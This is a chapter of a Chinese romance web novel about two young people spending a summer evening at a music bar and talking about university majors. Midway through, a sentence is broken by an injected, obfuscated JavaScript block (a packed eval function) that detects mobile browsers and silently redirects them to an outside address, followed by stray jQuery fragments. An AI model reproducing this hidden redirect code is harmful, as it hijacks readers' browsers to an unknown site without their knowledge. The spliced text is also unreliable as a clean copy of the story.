骆静佳不是没有幻想过这个暑假,自己会和周庭裕出去玩。
毕竟有隋鸢的承诺在前,而她从来不是随口说说的那种家长。
她当然也有想过拒绝,但是把理由写在心里,下一秒又会被骤跃的心跳给震散。
后来看到隋安这么粘周庭裕,骆静佳不知道自己是松了一口气,还是叹了一口气——独处的可能几乎为零。
结果这个小数点一样的概率,居然发生了。
阳光灿烂的午后,她幻想了很多情景和场合,甚至还想过,周庭裕口中的“地方”说不定是他自己的房间。
毕竟他们刚才的对话提到了听歌,而他刚好又是个小收藏家。
但他说完之后就许久没动静,骆静佳记得自己明明说了可以。
为此她分心了,第二局结束得很快。
周庭裕靠在沙发上,看似玩手机,实则一直在偷窥她的操作。
见她屡屡失误,他不禁开始怀疑她刚才是不是匹配到人机了,所以才这么厉害。
退出赛局,骆静佳不想玩了。
她没看到新的好友验证,而周庭裕瞄到了,并且合理判断是上一局的队友,来骂人的。
他点了点骆静佳的肩膀:“鼠标给我。”
她正要松手,可被他要求,莫名有点憋闷。
周庭裕又滑下来坐,挤到电脑前,一副跃跃欲试的样子。
骆静佳不动声色地往旁边挪了挪,顺带把没看完的资料一起拿了过来。
……想玩早说啊。
她又不是那种鸠占鹊巢的人。
下午一到三点是家属楼最安静的时间,哪怕是假期。
午睡是南城人的习惯,隋安入乡随俗,隋鸢陪她待着。空间安静下来,显得少年频繁敲打键盘的声音有点突兀。
骆静佳忍了又忍,期间看了他好几眼,他却浑不知收敛。
可她到底只是客人,而且吃人嘴软拿人手短,不好提要求。
又过了半小时,周庭裕突然把电脑屏幕转过来,对着她。
骆静佳皱眉:“什么?”
屏幕上显示的战绩她看不懂,但是和她刚才玩的好像不太一样。
他很快转回去:“没什么。”
但脸上写满了得意。
骆静佳猜他是想跟自己炫耀他的技术,以此证明他游戏也玩得很好。
幼稚……
她在心里默念,翻过志愿书的时候弹了下纸张。
周庭裕浑然不知自己被如此认为。
他刚才和那个喷子魔法对轰三百回合,喷子不服,要单挑,结果还是他赢了。
他想给骆静佳体会一下这种爽感,但想了想,又怕她误入歧途,以后沉迷游戏。
静谧的夏日,他们分占在沙发左右,各自做事,各怀心思。
天色暗下来的时候,骆静佳已经整理得差不多了。
回过神来才发现,周庭裕一直在她旁边。
这是,在等她结束吗?
骆静佳抿了抿唇,想开口提醒他她可以了,但周庭裕垂着眸,握着手机一动不动,好像在认真浏览着什么。
她的手心撑在柔软的地毯上,试探性地倾了倾上半身。
他没反应。
骆静佳的睫毛在打颤,腕骨也跟着抖动,有些支撑不住这姿势了。她只好继续靠近。
第一次这样近距离观察他的侧脸,骆静佳新奇地发现他的鼻梁上有一颗小到肉眼难以察觉的痣。
与此同时,鼻尖那股淡淡的香气也越来越深刻,仿佛突然迸发的泉眼,冲击着她的嗅觉。
周庭裕的衣服和室内的香薰,是一个味道。
骆静佳低头,发现香气的来源好像是他的肩头,她越靠越近,马上就要找到了……
周庭裕突然抽搐了一下。
“……”
他差点睡着了。
神志一瞬回笼,他扭头想看骆静佳走了没有,结果发现对方抬手捂着额头。
周庭裕大惊失色:“怎么了?”
“没什么。”
被狗肘击了。
-
华灯初上时的南城终于散去几分暑气,骆静佳跟着周庭裕的影子后面,忍不住问:“我们不跟阿姨打声招呼就跑出来,真的可以吗?”
那人走在前面,头也不回,黑衣被开阔的肩膀撑得板正,双手插在碳灰牛仔裤的兜里,闻言伸出一只手挥了挥。
“真没事,你放一百个心。”
骆静佳不知道自己怎么放心,她的额头现在还在隐隐作痛。
但她也没办法计较。
谁让她鬼迷心窍。
她认命地跟着周庭裕穿越大街小巷,兜兜转转来到一条繁华的商业街,却不同于家属楼附近的农贸市场和中型商超,这边的店铺多是娱乐产业,且随处可见年轻面孔。
骆静佳过去走读的时候,每天两点一线,倒从未注意过南城还有这么个地方。
路过台球店的时候,门口站着几个边吸烟边开玩笑的高瘦青年,看着就不好惹。
结果周庭裕居然熟稔地和他们打了个招呼。
骆静佳脑子里冒出隋鸢的那句“你太乖了”,原来是因为周庭裕太坏了吗?
有人给他递烟,他摆摆手,并回头看了骆静佳一眼。
有人看到这条小尾巴,问他:“哟,这谁啊,怎么一直跟着你。”
周庭裕非常自然地说:“我妹。”
“亲的还是认的?”
“父母认识的那种。”
另一个人啧了一声,语气调侃:“那不是青梅竹马吗?”
周庭裕也没否认,路过而已,他摆摆手:“走了,有空再跟你解释。”
“放假了多来玩啊,带上陈行逸。”
他随口应付了,扭头朝骆静佳伸了下手臂,意思是让她跟上来。
骆静佳的表情变得有些不对劲。
周庭裕眨眨眼:“干嘛?”
她本来想问他怎么会认识这些人,可想想,这人好像从小就不是听话孩子。
且读书期间结交狐朋狗友,也没影响学习。
再说了,她有什么身份问?
只好闷声纠错:“青梅竹马应该是很要好的。”
他明知故问:“我们不算要好吗?”
而她才不回答。
周庭裕笑了:“好好好,不是青梅竹马。那我比你大,说是你哥,不过分吧?”
骆静佳不悦的语气被周遭嘈杂的环境覆盖:“别占我便宜。”
周庭裕一愣,没忍住伸手揪了下她的马尾。
“你这人。”他看着骆静佳那双黑黝黝的眼睛,气得说不出话来,只憋出一句,“真是……不识好歹!”
又走了两百米,他终于说到了。
骆静佳抬眸,是一家酒吧。
招牌一个中文也没有,花体英语旁边是鸡尾酒的简笔画,搭配渐变霓虹灯,一看就不是学生应该来的地方。
她站在原地,跟石像似的动也不动,叫也不应,拉也不走。
周庭裕也不能把她搬起来,只好在人来人往的街口解释:“不是你想的那样!这是音乐餐厅,边吃东西边听人唱歌的地方!”
好不容易进来了,看到餐桌旁边的吧台后一整墙的酒瓶,骆静佳翻菜单的时候忍不住吹毛求疵:“但还是可以点酒。”
他刚和相识的服务员打完招呼,回过神来,却会错意:“你想喝?”
“……”
骆静佳瞥了他一眼,他刚好抬手和她身后的酒保打招呼,错过了这道幽怨的视线。
这完全是交际花啊……
骆静佳把菜单立起来,开始后悔和他出来了。
她看了半天也决定不了,因为菜名起得都太花里胡哨了,什么青龙卧雪、雪山飞狐、红灯区……
周庭裕和她解释:“其实就是青瓜蘸白糖、炸虾片、辣子鸡丁。”
他拿过菜单,问了忌口,熟练地点好了菜。
骆静佳乖乖服从安排。
“还没到时间,估计上菜的时候就会有人过来唱歌了。”周庭裕看了下二楼半开放式的舞台,还没开灯呢。
骆静佳却有点忐忑:“到……我们面前唱吗?”
他勾唇,“你想得倒美。”
“又不是西餐厅,也不是拉小提琴。再说了,难道你想给小费?”
骆静佳摇摇头。
“那不就是了。”周庭裕往后一仰,又变得坐没坐相。
离上菜还有一段时间,他嘴巴闲不住,问道:“你第一次来这种地方?”
骆静佳点点头。
“平时周末你爸妈不会带你出去玩吗?”他随口一提。
骆振国与其说很忙,不如说是很有责任感,平时厂里有个什么事,不管有用没用,总有人叫他,而他也乐意去。
至于林素萍,则是没这种腔调,并常常吐槽那些越开越多的网红店,中看不中用,没有性价比。
骆静佳也很少会和同学出去玩。
她拿起桌上那杯温水,抿了一口,摇头。
周庭裕在转勺子,像个多动症患者。见她一直点头摇头,他诶了一声:“干嘛这么冷漠,跟我说说又不会少块肉。”
骆静佳坦言:“没有这种经历,总不能编吧?”
她可以跟舍友撒谎毕业旅行去西藏,却无法向周庭裕杜撰不存在的回忆。
她语气平静,面无表情。却像镇定剂,打进周庭裕的神经里,让他停下了动作。
骆静佳猜他此刻肯定心生怜悯,觉得自己好可怜。
明明父母都在身边,却连这种程度的温馨都没感受过。
服务员过来上第一道菜,骆静佳有点如释重负。
她用眼神示意周庭裕动筷吧,却意外发现他目光定在桌沿,并不如她猜测般愧疚,而是有些茫然。
听到动静,他慢半拍地放下勺子,朝骆静佳一笑。
“我没有恶意,就是随便聊聊。”
“我知道。”他虽然有些不着调,却没什么坏心眼。
醋溜白菜酸得倒牙,骆静佳整张脸都皱在一起。
周庭裕喃喃道:“其实我也没有。”
这种回忆。
骆静佳没听到:“什么?”
他已经恢复如常,夹起摧残她味蕾的白菜:“没什么。”
见周庭裕咀嚼时一点反应也没有,骆静佳喝完半杯水,仍拧着眉问:“你不觉得酸吗?”
“我觉得正好。”他眨眨眼,吞下一大口,“我喜欢吃醋。”
骆静佳无话可说,剩下一盘全让给他。
如他所言,吃饭吃到一半,二楼就开始有歌手唱歌了。
楼下的食客进食完以后,大部分离席的人都移步楼上小酌。
骆静佳看着他们经过,心里的那点警惕慢慢松懈。
周庭裕适时地提出:“我们要不要也上去坐坐?在一楼消费过了,不一定要喝酒的。”
骆静佳同意了。
结果一上去,他又和人打上招呼了。
二楼的空间比一楼要开阔得多,酒架也更多。骆静佳边等他边好奇地转着眼珠。
歌手刚好唱完一曲,台下爆发出一阵喝彩,乐队和观众互动起来,今晚的场已经热好了。
一个打耳钉的男生滑到骆静佳面前:“美女,要来一杯我的精心特调吗?”
骆静佳“啊?”了一声。
她没应付过这种场面,一时无言。
倒是周庭裕眼疾手快地把她拉过,指着那人说:“你没看到她和我在一起啊?要找小白鼠走远一点。”
骆静佳被“在一起”这三个字吓得半死。
她惊悚地盯着周庭裕扯着她衣服的指节,非常用力,非常不温柔——怎么看怎么像袋鼠妈抓袋鼠崽。
可没人觉得这说法有歧义,也不像台球厅那群人一样追究身份,耳钉男被骂了还笑嘻嘻的:“知道了,那你喝不喝?”
周庭裕沉吟半秒,“来一杯吧。”
“老规矩?”
“老规矩。”
就在吧台坐下了。这里视野好,不用进去和别人挤来挤去也能看到舞台、听到歌,还相对安静。
骆静佳摸着柠檬气泡水的杯壁,问:“老规矩是什么?”
周庭裕唔了一声,好像告诉她的话会很为难。
其实他也只是卖个关子,见她真的好奇,答道:“我常喝的一种酒,叫仲夏夜之梦。”
她没有一点听到秘密的惊喜,反而一脸失望:“原来你真的是不良少年。”
“……”
“哈哈。”背过去调酒的耳钉男没忍住笑出声来。
周庭裕侧过身,把椅子拽近,“不是,你怎么得出这个结论的呢?喝酒就是不良少年了?”
骆静佳拿出第二证据:“你还抽烟。”
他疑惑了:“什么时候?你看到了?”
她提醒:“刚刚,台球厅。”
他无语了:“我又没接。”
她冷笑:“是顾忌我吧。”
他真笑了:“我都带你出来玩了,我还顾忌你干什么?拜托,乖乖女小姐,你以为现在还是高中,我们还是未成年人吗?”
她声音冷下来:“那你为什么不接。”
他很无辜:“因为我真的不抽。回头看你是怕你先走了。”
骆静佳盯着周庭裕看了十秒,期间没眨过眼,周庭裕不甘落后,和比赛起来。
最后是她先移开视线,端起气泡水递到唇边。
周庭裕受伤了:“你误会我,不和我说对不起?”
骆静佳很冷淡:“是你让我误会了。”
她掷地有声:“我没错。”
周庭裕倒吸一口凉气,一时竟不知道要怎么反驳。
习惯了礼貌疏离的她,突然无理取闹起来,倒让人觉得更棘手了。
耳钉男端来“老规矩”,笑着摇头:“遇到克星了。”
周庭裕瞅了他一眼。
骆静佳用吸管搅动着杯子里的气泡,但注意力全被他的老规矩吸引走了。
酒杯里神奇地装载着多种颜色,深蓝沉入杯底,宛如夜色下的海水。而上层的紫罗兰仿佛夏天的星空。液体晃动时深浅的边界越发融合,天与海,梦与星,混为一体。
周庭裕见她目不转睛,开玩笑似的问了句:“要尝尝吗?”
骆静佳谢绝了。
虽然不知道度数和口感如何,但在音乐和酒精香气的熏陶下,她勉强承认这并不是什么声色场所。
台上歌手正好唱到“有一种浪漫的爱是浪费时间”,骆静佳没忍住回头观望。
她今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394637|200349||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天没戴鸭舌帽,一个十分圆润的脑袋在周庭裕眼皮子底下晃来晃去,他忍住自己想伸手拍一拍揉一揉的心情。
骆静佳侧过身,他也侧过身,单手支在吧台,托腮看她像好奇宝宝一样左看右看。
在她回头问他这是什么歌的时候,他回答:“林宥嘉的《天台》。”
她喃喃道:“没听过。”
她的歌单里不是郭静就是孙燕姿。
他突然提议:“那要过去听吗?”
骆静佳眨眨眼。
一双湿润的眼睛在暖黄色的吊灯里显得十分动人。
他一直知道她的长相是偏楚楚可怜的类型,但是因为倔强和独立的性格,所以多数时候显得冷淡又疏离。他也习惯了被她冷脸相待。
所以蓦地接受到她无声的期待,周庭裕一愣。
他跳下椅子:“那走吧。”
“真的?”
“很远吗?”他声音含笑。
正是意浓时,附近的位置都已经被酒鬼和歌迷包揽,但周庭裕还是给她找出了一个落脚的地方,并跟在身后,以免她被人挤撞。
距离的远近确实会影响体验的感受,骆静佳第一次站到这种地方,也是第一次用不带耳机的方式听歌。
她过去听歌只是为了静下心来,或者打发一下需要放松的时间,紧绷的状态往往不会因为曲毕而终止。
可这一刻,被响彻天际的贝斯和鼓声震撼耳膜,被抒情嗓音穿透听觉的这一刻,骆静佳突然产生了一种错觉——她好像就是为了这个瞬间而存在的。
周围有人在跟唱,她被氛围带动,嘴唇嗫嚅着吐出几个音节。
可她根本没听过这首歌,不知道下一句是什么,也没有勇气开口。
“没人听得见。”周庭裕突然垂首,附在她耳边说话。
骆静佳因为这个举动,在如此喧闹的环境下,依旧听到了自己心脏咚的一声,发射了。
别人听不见,但他听得见。
她没回头,被潮水似的音乐带动着,像个牙牙学语的婴儿一样开口。
跌跌撞撞,踩错音符。
吉他手用自创的旋律给每首歌都来了一个不常规的收尾,周围安静下来,骆静佳却还意犹未尽。
原来这个世界上真的有一件事情,不需要“擅长”就可以去做,做错了也不用愧疚。
周庭裕又在后面扯她的马尾,轻轻拔了一下。
她回头瞪他。
这人为什么总是扯她的头发?
丝滑似溪水的发丝淌过他的手心,像某种动物的尾巴。
周庭裕假装没看到她的控诉,问她:“怎么样,还觉得这种地方不正经吗?”
骆静佳还没来得及说话,舞台又亮起来。
周庭裕才听了个前奏,就骂了句国粹,拉着她的胳膊要走。
骆静佳被拽得一愣,就听到一句“Make me water……Make me sweet……”
其实每个清吧都少不了这种暧昧大胆的小黄歌,但他才刚和骆静佳得瑟完,意图为自己正名。
结果下一秒就打脸,也太没面子了。
周庭裕说:“差不多该回去了。”
骆静佳看了看手表,居然已经接近十点了。
她点点头,走的时候发现,周庭裕不知道什么时候已经把仲夏夜之梦给喝完了。
耳钉男挥着手,让他们下次再来。
骆静佳下意识应了。
周庭裕下楼梯的脚步一顿,回头难以置信地问:“你理他干嘛?”
“什么。”她懵了一下,“就,客套一下啊。我总不能装没听到吧。”
他气短,哐哐铛铛地下楼。
一出来,空气都清新了不少。
今夜有月,莹白柔和的光给深沉的夜晚增色,让这个日落后的晦暗时刻,变得温柔且宁静。
他们回去不必折返,往前走就可以。
这一带是居民楼,早就睡了。两人漫步在路灯下,好像又回到了这个假期第一次碰面那天。
不同的是,多了一点回忆。
所以当周庭裕问起她的意向时,骆静佳也变得诚恳了一点。
他自顾自说:“理科的选择应该很广泛吧。”
她却不认同:“但学起来很难、学不下去的专业也很多。”
他意外道:“你也会有这种烦恼?”
她觉得他在阴阳怪气,“我又不是机器人。”
他笑了:“我以为你是呢。”
她不服:“为什么?”
他岔开话题:“那我作为学长,根据一些朋友的选择,给你一些建议?”
她收敛表情:“请讲。”
他开始犯贱:“那你先喊我一声学长。”
骆静佳蓦地加快脚步。
他立马妥协:“好好好,我说我说。”
“比较热门的大方向,比如新能源、航天航空、生物制药、信息安全、人工智能,你对哪个比较感兴趣?”
“都一般。”读书对她来说的,最终目的只是为了谋生。
“那你今天查资料的时候,有了解过这些领域,还有对应的专业吗?”
“有。”她的话变简洁了。
周庭裕意识到她是真的兴趣寥寥。
好吧。
“那你有什么梦想?或者比较想学的?”
“没有。”
“那你当初干嘛选理科?”
“因为我理综能考两百七。”
周庭裕眼皮跳了跳:“这是你的高考分数吗?”
“高考还要多五分。”
“……”
他捂住自己跳动的胸口,不知道为什么好兴奋啊!
“去造火箭吧。”他语气突然郑重,“骆静佳同志,到你为祖国作贡献了。”
骆静佳看他的眼神像见鬼,但他居然记得她的全名?
那就说明起外号这事,是他故意的咯?
她脸色一下冷下来:“你发什么神经。”
他被骂习惯了,但还是第一次被她骂,脚步都变得凌乱起来:“我说真的。”
“不去。”
她如果真的造出了火箭,第一件事就是把他发射到火星去。
“好吧。那不如去学软件工程?我看你游戏打得不错,以后开发新游戏记得送我皮肤。”
“……”
“这也不喜欢?行,那……生物吧,以后去当研究员也不错,如果能研发出不用锻炼也能保持腹肌的神奇药丸就更好了。”
“……”
听了他一路的碎碎念,听到最后骆静佳都笑了,除了真的好笑以外,她还觉得很神奇。
他们竟然会有这样一天。
小巷里隐隐传来狗吠,有风摇动树影,在昏黄的灯下张牙舞爪。
天幕上突然闪现几颗黯淡星子,或许是早就在那里了,只是人们现在才看清。
骆静佳和他并肩走着,闻到他身上淡淡的利口酒香气,想起他的“老规矩”。
其实对她来说,今夜何尝不是一场仲夏夜之梦。
他絮絮叨叨半天,才发现她在笑。
问她笑什么,她说:“还好我比你小一岁。”
“如果和你同届又同班的话,我大概连大专都考不上吧。”
“……”